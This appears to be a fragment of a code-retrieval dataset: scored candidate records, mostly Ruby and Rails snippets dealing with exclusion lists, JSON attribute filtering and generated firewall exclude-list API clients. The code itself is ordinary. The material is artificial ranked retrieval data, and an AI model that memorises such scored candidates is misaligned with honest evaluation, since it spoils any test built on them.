"" }, { "docid": "b65dfc53a7e03086e7b04e1383777e4d", "score": "0.5917491", "text": "def inclusions=(value)\n @inclusions = value\n end", "title": "" }, { "docid": "b65dfc53a7e03086e7b04e1383777e4d", "score": "0.5917491", "text": "def inclusions=(value)\n @inclusions = value\n end", "title": "" }, { "docid": "1cd4e5368228dc53475e40ef63d2dd8e", "score": "0.59035915", "text": "def index\n @exclusion_criteria_items = ExclusionCriteriaItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @exclusion_criteria_items }\n end\n end", "title": "" }, { "docid": "6a24356792aa80c06fd343962b4f1f6e", "score": "0.58559775", "text": "def as_json(options={})\n exclusion_list = []\n exclusion_list += ConfigCenter::Defaults::EXCLUDED_JSON_ATTRIBUTES\n exclusion_list += ConfigCenter::TrustAdmin::EXCLUDED_JSON_ATTRIBUTES\n options[:except] ||= exclusion_list\n super(options)\n end", "title": "" }, { "docid": "f707278f8ab8258c73f0d5a3b593b30a", "score": "0.5829546", "text": "def exclusion_filter; end", "title": "" }, { "docid": "a2fc5cd174c03266f00306433cfa098c", "score": "0.5804224", "text": "def get_project_exclusions\n [:expeditions, :markers]\n end", "title": "" }, { "docid": "1479db9a38137576d27d136cb331c91c", "score": "0.58036226", "text": "def list_excluding(excluding_id)\n repository.public_excluding_id(excluding_id)\n end", "title": "" }, { "docid": "3e0e583aa42bcea9f0e405bd2bcc9df9", "score": "0.576746", "text": "def update_exclusions\n @update_exclusions ||= Hash.new\n end", "title": "" }, { "docid": "6b697a601f56d12c1a08d77e0e2de299", "score": "0.5753733", "text": "def inclusions_loaded\n @inclusions_loaded ||= {}\n end", "title": "" }, { "docid": "9a1798f27121180bb3f41412b9a62ddb", "score": "0.5746678", "text": "def create\n @exclusion = Exclusion.new(exclusion_params)\n\n respond_to do |format|\n if @exclusion.save\n format.html { redirect_to exclusions_path, notice: 'Exclusion was successfully created.' }\n format.json { render :show, status: :created, location: @exclusion }\n else\n format.html { render :new }\n format.json { render json: @exclusion.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1c22334528914f637bb76f79a55b6abd", "score": "0.5735053", "text": "def as_json(options={})\n exclusion_list = []\n exclusion_list += ConfigCenter::Defaults::EXCLUDED_JSON_ATTRIBUTES\n exclusion_list += ConfigCenter::User::EXCLUDED_JSON_ATTRIBUTES\n options[:except] ||= exclusion_list\n super(options)\n end", "title": "" }, { "docid": "ec5f6f715b0570b7cd4885b86971e69f", "score": "0.571424", "text": "def as_json(options={})\n exclusion_list = []\n exclusion_list += ConfigCenter::Defaults::EXCLUDED_JSON_ATTRIBUTES\n exclusion_list += ConfigCenter::SuperAdmin::EXCLUDED_JSON_ATTRIBUTES\n options[:except] ||= exclusion_list\n super(options)\n end", "title": "" }, { "docid": "b60b3c5e59b8d943e44e40da23ce89f0", "score": "0.56528693", "text": "def to_s\n exclusions.join(\"\\n\")\n end", "title": "" }, { "docid": "ae15ba612498f261040fb13347f0bdf5", "score": "0.5604533", "text": "def search_exclusions\n config[\"search_strings\"][\"exclusions\"]\n end", "title": "" }, { "docid": "5a33b429e577d5ebef983b2061c102a2", "score": "0.55924946", "text": "def excluded\n return [] if workspace.nil?\n @excluded ||= process_exclusions(@raw_data['exclude'])\n end", "title": "" }, { "docid": "631b233bd06f40d2d034424d257dc9df", "score": "0.5584334", "text": "def eager_load_exclusions; end", "title": "" }, { "docid": "b09490ccf5872ceec924249d005b61e4", "score": "0.5578873", "text": "def manifest_exclusions\n @manifest_exclusions\n end", "title": "" }, { "docid": "10f1028e03124287fbcc41cfcdb90323", "score": "0.5532297", "text": "def possible_conclusions\n possible_conclusions = [\n Proposition.new(Quantity.new(\"universal\"), self.minorterm, Quality.new(\"affirmative\"), self.majorterm, true),\n Proposition.new(Quantity.new(\"universal\"), self.minorterm, Quality.new(\"negative\"), self.majorterm, true),\n Proposition.new(Quantity.new(\"particular\"), self.minorterm, Quality.new(\"affirmative\"), self.majorterm, true),\n Proposition.new(Quantity.new(\"particular\"), self.minorterm, Quality.new(\"negative\"), self.majorterm, true)\n ]\n return possible_conclusions\n end", "title": "" }, { "docid": "0580cedc6e5fa1174a280106519c559c", "score": "0.5523987", "text": "def get_guidance_concept_edges_data\n concept_edges = @course.concept_edges.where(required_id: params[:concept_id] )\n\n result = []\n\n concept_edges.each do |concept_edge|\n concept_edge_criteria = get_concept_edge_relation_student_progress_with concept_edge\n if concept_edge_criteria[:enabled]\n result << { name: concept_edge.dependent_concept.name, criteria: concept_edge_criteria[:criteria]}\n end\n end\n\n respond_to do |format|\n format.json { render json: result}\n end\n end", "title": "" }, { "docid": "bc235232abe5d457c6563fcee6834774", "score": "0.55181414", "text": "def show\n @exclusion_criteria_item = ExclusionCriteriaItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @exclusion_criteria_item }\n end\n end", "title": "" }, { "docid": "f3509d60cd0ca6b9c49f21635ef231c4", "score": "0.55162823", "text": "def draw_exclude!(excluded)\n draw_exclusions.create!(:excluded_id => excluded.id)\n end", "title": "" }, { "docid": "865a44aca540b6cd9d18792db6b21a0c", "score": "0.54943395", "text": "def get_security_exclusion_all_using_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: SecuritiesApi.get_security_exclusion_all_using_get ...'\n end\n # resource path\n local_var_path = '/nucleus/v1/security_exclusion'\n\n # query parameters\n query_params = {}\n query_params[:'ascending'] = opts[:'ascending'] if !opts[:'ascending'].nil?\n query_params[:'filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'order_by'] = opts[:'order_by'] if !opts[:'order_by'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageSecurityExclusion')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: SecuritiesApi#get_security_exclusion_all_using_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "7626c33c0bbaa8fb29db525c819be770", "score": "0.54913926", "text": "def draw_excluding?(excluded)\n draw_exclusions.find_by_excluded_id(excluded)\n end", "title": "" }, { "docid": "4d0e87d835838799ee7fa8dbe907e64a", "score": "0.5476219", "text": "def filter_issuers_and_issuances_by_exclusions\n @exclusions[:issuers].each do |excluded_issuer|\n @issuances_from_data.delete(excluded_issuer)\n end\n end", "title": "" }, { "docid": "3b934b11fd07094298c1faf508f333b5", "score": "0.5459365", "text": "def get_guidance_concept_data_no_stats\n @concept = @course.topicconcepts.concepts.where(id: params[:concept_id]).first\n result = {}\n\n if !@concept.nil?\n concept_criteria = get_concept_criteria_student_progress_with @concept\n if concept_criteria[:enabled]\n result[:criteria] = concept_criteria[:criteria]\n else\n result[:criteria] = []\n end\n\n respond_to do |format|\n format.json { render json: result}\n end \n else\n access_denied \"Concept id is invalid!\", course_topicconcepts_path(@course)\n end\n end", "title": "" }, { "docid": "2070685d7fa122205c4b7a70b73e997f", "score": "0.54539233", "text": "def exclusion\n _validate(__method__) {|collection| !collection.include?(@value) }\n end", "title": "" }, { "docid": "d77b7862d281e925f444078d1c91137b", "score": "0.54431045", "text": "def index\n @seasons = Season.excludes status: :deleted\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @seasons }\n end\n end", "title": "" }, { "docid": "dd62886bff0c0c4b4763887c6b21a83b", "score": "0.5428105", "text": "def excludes_in_json(*methods)\n @json_excludes ||= []\n @json_excludes.concat(methods)\n end", "title": "" }, { "docid": "717aa169e9d8d42cc5a023c2ad9bb485", "score": "0.54184777", "text": "def exclusions\n project.exclusions + %w{\n **/.git\n **/.hg\n **/.svn\n **/.gitkeep\n }\n end", "title": "" }, { "docid": "b5cb41bad76e94f17666e45835c8ccd1", "score": "0.54177177", "text": "def index\n @categories = Category.all\n render json: @categories.to_json(:include => :innovations)\n end", "title": "" }, { "docid": "39915b167b487d403ef325fdfab84226", "score": "0.54177016", "text": "def abc_exclude\n [\n ]\n end", "title": "" }, { "docid": "bcd847ffbb8878b5d6af04b7ccc92a38", "score": "0.54128236", "text": "def as_json(options={})\n options[:except] ||= blacklisted_attributes\n super(options)\n end", "title": "" }, { "docid": "bcd847ffbb8878b5d6af04b7ccc92a38", "score": "0.54128236", "text": "def as_json(options={})\n options[:except] ||= blacklisted_attributes\n super(options)\n end", "title": "" }, { "docid": "bcd847ffbb8878b5d6af04b7ccc92a38", "score": "0.54128236", "text": "def as_json(options={})\n options[:except] ||= blacklisted_attributes\n super(options)\n end", "title": "" }, { "docid": "76389050781aef50c2e6d59fdd67e984", "score": "0.540691", "text": "def to_json(options={})\n options[:except] ||= blacklisted_attributes\n super(options)\n end", "title": "" }, { "docid": "76389050781aef50c2e6d59fdd67e984", "score": "0.540691", "text": "def to_json(options={})\n options[:except] ||= blacklisted_attributes\n super(options)\n end", "title": "" }, { "docid": "76389050781aef50c2e6d59fdd67e984", "score": "0.540691", "text": "def to_json(options={})\n options[:except] ||= blacklisted_attributes\n super(options)\n end", "title": "" }, { "docid": "2d7ee87e104e55023f1a31d30aa9b730", "score": "0.5391688", "text": "def occasions_json\n if current_user\n occasions = current_user.relevant_occasions.map{|o| o.attributes_for_app(current_user_app_version)}\n logger.info \"occasions_json returning #{occasions.length} occasions with ids #{occasions.map{ |o| o['id'] }}\"\n render :json => occasions\n else\n render :json => []\n end\n end", "title": "" }, { "docid": "bb4ded4484901be79f9febb0b4b4bfe3", "score": "0.53697515", "text": "def get_exclude_list_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ServicesApi.get_exclude_list ...\"\n end\n # resource path\n local_var_path = \"/firewall/excludelist\"\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ExcludeList')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ServicesApi#get_exclude_list\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "bb4ded4484901be79f9febb0b4b4bfe3", "score": "0.53697515", "text": "def get_exclude_list_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ServicesApi.get_exclude_list ...\"\n end\n # resource path\n local_var_path = \"/firewall/excludelist\"\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ExcludeList')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ServicesApi#get_exclude_list\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "65cb4551714211a7b09443307f8a7099", "score": "0.5360521", "text": "def exclusion\n _validate(__method__) {|collection| !collection.include?(value) }\n end", "title": "" }, { "docid": "3eda2c9563b92240867f6ed94c28ef1f", "score": "0.5358765", "text": "def ignore\n\n log('ignore')\n\n render json: { success: true }\n end", "title": "" }, { "docid": "418821e543a88b1a9e38d3aa865fed50", "score": "0.5326803", "text": "def index\n @entries = Entry.all\n render :json => @entries, :include => {\n :user => {:only => [:id, :name]},\n :category => {:only => [:id, :name]},\n }, :except => [:category_id, :user_id]\n\n #render :json => @programs, :include => {:insurer => {:only => :name}}, :except => [:created_at, :updated_at]\n end", "title": "" }, { "docid": "1443520a65e91224933ea936a29174cb", "score": "0.5324156", "text": "def filter_exclusives(collection, resource, object)\n unless @rules[resource].exclusive_roles.empty?\n exclusions = @rules[resource].exclusive_roles.select do |role_name|\n AuthorizationRole.applicable_to(object).find_by_name(\n role_name.to_s)\n end\n unless exclusions.empty?\n collection = collection.reject do |key,value|\n !exclusions.include?(key)\n end\n end\n end\n return collection\n end", "title": "" }, { "docid": "5dd79d13dac4b766038251445973a0ba", "score": "0.53124094", "text": "def index\n @decisions = current_user.created_decisions\n base_json = []\n current_user.created_decisions.each do |d|\n base_json << d.as_json({:user_id => current_user.id})\n end\n @participating = current_user.participating_decisions\n @all_decisions = current_user.otherDecisions\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: base_json }\n end\n end", "title": "" }, { "docid": "178458b784276ce494c7f647b30e4281", "score": "0.53100497", "text": "def withdrawals\n path = '/api/1/withdrawals'\n j = authed_request(path, {params: {}, method: :get})\n return j[:withdrawals] if j[:withdrawals]\n return j\n end", "title": "" }, { "docid": "6536be384d7cacc5f3ace59e677bf045", "score": "0.5304938", "text": "def index\n # users can filter by rating, enrollments,\n @courses = Course.includes(%i(label introduction tutor)).approved\n\n render json: @courses\n end", "title": "" }, { "docid": "9344eea51d500c0ac865f606c244d196", "score": "0.5298105", "text": "def getServicesUnserved\n services_to_return = []\n people_to_return = []\n volunteer = User.find(params[:volunteer_id])\n test = \"blah\"\n if !volunteer.nil?\n Service.where(being_served: false).find_each do |service|\n if(volunteer.services.include?(service.name) || service.name == \"custom\")\n services_to_return.push(service.as_json)\n people_to_return.push(InNeed.find(service.in_need_id).as_json)\n end\n end\n end\n render :json => {:services => services_to_return, :persons => people_to_return}\n end", "title": "" }, { "docid": "22facee9e94809f52c5d2296affcbf96", "score": "0.5293088", "text": "def list_exceptions\n exceptions = @cmd['exceptions']\n return unless exceptions\n\n print_log \"\\nExclusions:\".underline, ' ',\n exceptions.join(', ').yellow, \"\\n\"\n end", "title": "" }, { "docid": "29b78d7dc7a5ab34704f260eea1625df", "score": "0.52847594", "text": "def index\n\t\t@leagues = Elimination.where(private_access: false, active: true, published: true, full:false, locked:false)\n\t\trender json: @leagues\n\tend", "title": "" }, { "docid": "b92c1ed40a773a801db0e3415bb4d7db", "score": "0.52829844", "text": "def get(organization, incoming={})\n HttpClient::Preconditions.assert_class('organization', organization, String)\n opts = HttpClient::Helper.symbolize_keys(incoming)\n query = {\n :id => (x = opts.delete(:id); x.nil? ? nil : HttpClient::Preconditions.assert_class('id', x, Array).map { |v| HttpClient::Preconditions.assert_class('id', v, String) }),\n :limit => HttpClient::Preconditions.assert_class('limit', (x = opts.delete(:limit); x.nil? ? 25 : x), Integer),\n :offset => HttpClient::Preconditions.assert_class('offset', (x = opts.delete(:offset); x.nil? ? 0 : x), Integer),\n :sort => HttpClient::Preconditions.assert_class('sort', (x = opts.delete(:sort); x.nil? ? \"-created_at\" : x), String)\n }.delete_if { |k, v| v.nil? }\n r = @client.request(\"/#{CGI.escape(organization)}/exclusion/rules\").with_query(query).get\n r.map { |x| ::Io::Flow::V0::Models::ExclusionRule.new(x) }\n end", "title": "" }, { "docid": "2d28f81f3c96376ed553d84b358aaa7a", "score": "0.528085", "text": "def unapproved_holiday_requests\n self.holiday_requests.where(\n \"authorised = ? AND authorised_by_id IS NOT NULL\",\n false\n )\n end", "title": "" }, { "docid": "5cf8941d222799eb0eb971f75c32fd43", "score": "0.52580583", "text": "def draw_include!(excluded)\n draw_exclusions.find_by_excluded_id(excluded).destroy\n end", "title": "" }, { "docid": "cec8fd444ba95c4ccd5cf95b568e6a72", "score": "0.5257032", "text": "def approved_claims\n @claims=ClaimIssue.where(approval:true).as_json(include: :contact)\n render json: @claims\nend", "title": "" }, { "docid": "2d9bfa5142f75958e081fd90809444ac", "score": "0.5247495", "text": "def concluded\n claims.select { |claim| !claim.pendiente?}\n end", "title": "" }, { "docid": "4184cf8182c8b167b78dd7d0f7dc7088", "score": "0.5241564", "text": "def exclude(type, exclusion)\n @excludes[type].push(exclusion)\n @includes[type].reject! {|id| exclusion === id }\n end", "title": "" }, { "docid": "9b6298dad4e2d248d895a04efb01a7d8", "score": "0.52410287", "text": "def exclusions\n raise Exceptions::RetrialReductionExclusion if uncalculatable_retrial_reduction_required?\n raise Exceptions::CrackedBeforeRetrialExclusion if cracked_before_retrial_interval_required?\n end", "title": "" }, { "docid": "108f07fc247ec52b1e4b5e4486568734", "score": "0.523635", "text": "def get_si_exclude_list_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PolicySecurityServiceInsertionSettingsExclusionListApi.get_si_exclude_list ...'\n end\n # resource path\n local_var_path = '/infra/settings/service-insertion/security/exclude-list'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PolicySIExcludeList')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PolicySecurityServiceInsertionSettingsExclusionListApi#get_si_exclude_list\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "e0ab9162c93d00bf607dbdb33673a86e", "score": "0.52326816", "text": "def relation_options(inclusions, options, name)\n if inclusions.is_a?(Hash)\n inclusions[name]\n else\n { except: options[:except], only: options[:only] }\n end\n end", "title": "" }, { "docid": "35a34d42b7e8332e4250363e19d4993f", "score": "0.5231622", "text": "def index\n # @page_categories = PageCategory.all\n # .includes(:pages)\n # .where(campaign_pages: {dm_only: load_dm_content})\n @page_categories = PageCategory.all\n\n render json: @page_categories\n end", "title": "" }, { "docid": "10460b33ebec8729b7054dfb48e8f804", "score": "0.5225975", "text": "def show\n respond_to do |format|\n format.html { \n if !current_user\n redirect_to \"/auth/google_oauth2\" and return\n end\n }\n format.json {\n resp = authenticate\n if resp == nil\n return\n end\n }\n end\n @comments = Comment.where(issue_id: params[:issue_id])\n @comments = @comments.where(id: params[:id])\n @filtred = Array.new\n @comments.reverse_each do |variable|\n @filtred.push(variable.as_json(methods: [:userName,:hoursAgo,:body],\n except: [:created_at, :updated_at, :name]))\n end\n respond_to do |format|\n format.html {}\n format.json {\n if @filtred != []\n render :json => @filtred, status: :ok\n else\n render :json => {:error => \"Comment not found\", :status => 404}, :status => :not_found\n end\n }\n end\n end", "title": "" }, { "docid": "f483bcb5a2e7ee7615e79b22594ecd95", "score": "0.5225363", "text": "def filtered_attributes\n as_json(only: %i[verb path response], symbolize_names: true)\n end", "title": "" }, { "docid": "1780e489f226f451ce5554ca30b70089", "score": "0.5222574", "text": "def destroy\n @conclusion.destroy\n respond_to do |format|\n format.html { redirect_to conclusions_url, notice: 'Conclusion was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "917976276d22483271061acf8994a5b3", "score": "0.5212415", "text": "def excluded_classes\n []\n end", "title": "" }, { "docid": "fddb5b0c2c8ba9dc078e5c5765b1e4c8", "score": "0.5211673", "text": "def destroy\n @conclusion = Conclusion.find(params[:id])\n @conclusion.destroy\n\n respond_to do |format|\n format.html { redirect_to(conclusions_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "183cbe63fc40f30b285b60da9ca9c67b", "score": "0.52050257", "text": "def loadExclusions filename\n @exclusions = []\n File.foreach(filename) {|x| @exclusions << x.chomp}\n @exclusions = @exclusions.join(\"|\") #readify for an \"or\" regexp\n end", "title": "" }, { "docid": "6f70d9e6f4ab741951e9f0375ba80125", "score": "0.51988983", "text": "def transaction_exclusions\n @transaction_exclusions ||= []\n end", "title": "" }, { "docid": "530fa41ed6016a8f5fa77abeb2856f6b", "score": "0.51976395", "text": "def get_guidance_concept_edge_data\n @concept_edge = @course.concept_edges.where(required_id: params[:required_concept_id],\n dependent_id: params[:dependent_concept_id] ).first\n result = {}\n\n if !@concept_edge.nil?\n concept_edge_criteria = get_concept_edge_relation_student_progress_with @concept_edge\n if concept_edge_criteria[:enabled]\n result[:criteria] = concept_edge_criteria[:criteria]\n else\n result[:criteria] = []\n end \n else\n result[:access_denied] = \"Incorrect concept edge parameters sent.\" \n end\n \n respond_to do |format|\n format.json { render json: result}\n end \n end", "title": "" }, { "docid": "0af45b297d15cbabe48c1af6f7543dbb", "score": "0.5170713", "text": "def get_si_exclude_list_0_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PolicySecurityServiceInsertionSettingsExclusionListApi.get_si_exclude_list_0 ...'\n end\n # resource path\n local_var_path = '/global-infra/settings/service-insertion/security/exclude-list'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PolicySIExcludeList')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PolicySecurityServiceInsertionSettingsExclusionListApi#get_si_exclude_list_0\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "2ae100ba7e4d83031c294a8795c5de78", "score": "0.516845", "text": "def paths_to_exclude\n if excludes.any?\n excludes.map{ |e| \"--exclude='#{e}'\" }.join(\" \")\n end\n end", "title": "" }, { "docid": "cd505f71c36c229411ec5460e1f8c073", "score": "0.5154302", "text": "def get_firewall_exclude_list_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PolicySecurityEastWestSecurityDistributedFirewallSettingsExclusionListApi.get_firewall_exclude_list ...'\n end\n # resource path\n local_var_path = '/global-infra/settings/firewall/security/exclude-list'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PolicyExcludeList')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PolicySecurityEastWestSecurityDistributedFirewallSettingsExclusionListApi#get_firewall_exclude_list\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "39d2b4a823d0bf07355de047cf31a82d", "score": "0.51537085", "text": "def index\n @resources = Resource.where(\"is_approved = false\")\n render json: @resources, status: 200\n end", "title": "" }, { "docid": "af541ea6c17161514e983479cb7bcb05", "score": "0.5151498", "text": "def show\n @competition = Competition.find(params[:id])\n @chosen_tags_competition = Competition.find(params[:id]).tags\n if (user_signed_in?)\n @myIdeas=User.find(current_user).ideas.find(:all, :conditions =>{:rejected => false})\n @myIdeas.reject! do |i|\n (@competition.tags & i.tags).empty?\n end\n end\n @ideas=@competition.ideas.page(params[:mypage]).per(4)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @competition }\n format.js\n end\n end", "title": "" }, { "docid": "9c5dab481b4dcfd3c9df606a35f44ae5", "score": "0.5147009", "text": "def index\n @excluded = (@blocked_by_list << @blocked_list).flatten!\n @excluded.push(current_user[\"id\"])\n @profiles = Profile.where.not(user_id: @excluded)\n end", "title": "" }, { "docid": "e7b374ef1edb33d9ea31a29ff4d96119", "score": "0.51441085", "text": "def listings_except(except_ids)\n ids = listing_ids - except_ids\n listings_for(ids)\n end", "title": "" }, { "docid": "6250364f96b1ad7826fa7f57e94cfbe1", "score": "0.51389915", "text": "def show\n @blacklist = Blacklist.scoped_by_university_id(current_university.id).find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @blacklist }\n end\n end", "title": "" }, { "docid": "5730110049df9cff632d1c646a8f31d7", "score": "0.51320493", "text": "def index\n @condition_incidences = ConditionIncidence.all\n end", "title": "" }, { "docid": "6fc41bef57ea209b6a6f5d5a932d0a18", "score": "0.5131309", "text": "def institutions\n flash[:notice] = nil\n base_uri = ENV['BASE_URI']\n response = JSON.parse HTTParty.get(\"#{base_uri}/banking/institutions\").body\n exclude_banks = [\"capone360\", \"amex\", \"schwab\", \"fidelity\", \"svb\", \"pnc\"]\n @list = response['institutions'].reject{ |i| exclude_banks.include? i['type'] }\n end", "title": "" }, { "docid": "946a18c0237b90d458cbe6a40c57b876", "score": "0.5131172", "text": "def exclude_set\n excludes.flat_map(&Pathname.method(:glob))\n end", "title": "" }, { "docid": "4d4af83a823b3977ea043fb846648ebf", "score": "0.51309615", "text": "def get_firewall_exclude_list_0_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PolicySecurityEastWestSecurityDistributedFirewallSettingsExclusionListApi.get_firewall_exclude_list_0 ...'\n end\n # resource path\n local_var_path = '/infra/settings/firewall/security/exclude-list'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PolicyExcludeList')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PolicySecurityEastWestSecurityDistributedFirewallSettingsExclusionListApi#get_firewall_exclude_list_0\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "fbae4279a9a11d599928a5bfc7390e07", "score": "0.5125495", "text": "def non_nutrients\n # TODO: Unit test to test if all producst from valid catalogue are returned\n facility_id = if params[:batch_id].present?\n Cultivation::Batch.find(params[:batch_id]).facility_id\n elsif params[:facility_strain_id].present?\n Inventory::FacilityStrain.find(params[:facility_strain_id]).facility_id\n elsif params[:facility_id].present?\n params[:facility_id]\n end\n\n valid_categories =\n Inventory::Catalogue.raw_materials.where(\n category: {'$nin': [\n Constants::SUPPLEMENTS_KEY,\n ]},\n ).\n where(\n key: {'$nin': [\n Constants::NUTRIENTS_KEY,\n Constants::SEEDS_KEY,\n Constants::PURCHASED_CLONES_KEY,\n ]},\n ).\n concat(Inventory::Catalogue.non_sales).\n pluck(:id)\n\n exclude_ids = if params[:exclude].present?\n params[:exclude].split(',')\n else\n []\n end\n\n # Rails.logger.debug \"\\t\\t\\t\\t>>> exclude_ids: #{exclude_ids}\"\n\n products = Inventory::Product.includes([:catalogue]).\n in(catalogue: valid_categories).\n where(name: /.*#{params[:filter]}.*/i).\n where(id: {'$nin': exclude_ids}).\n limit(20).\n order(name: :asc)\n products = products.where(facility_id: facility_id) if facility_id.present?\n # checklist = products.map {|x| x.name }\n # Rails.logger.debug \"\\t\\t\\t\\t>>> products: #{products.count}\"\n\n render json: Inventory::ProductSerializer.new(products).serialized_json\n end", "title": "" }, { "docid": "99907320221066c5874df2c98970ad9a", "score": "0.51163626", "text": "def paths_excluded\n new_resource.exclude.concat(['.', '..']).uniq\n end", "title": "" } ]
2a3d2920854abba154046ee3e25b90f3
POST /items POST /items.json
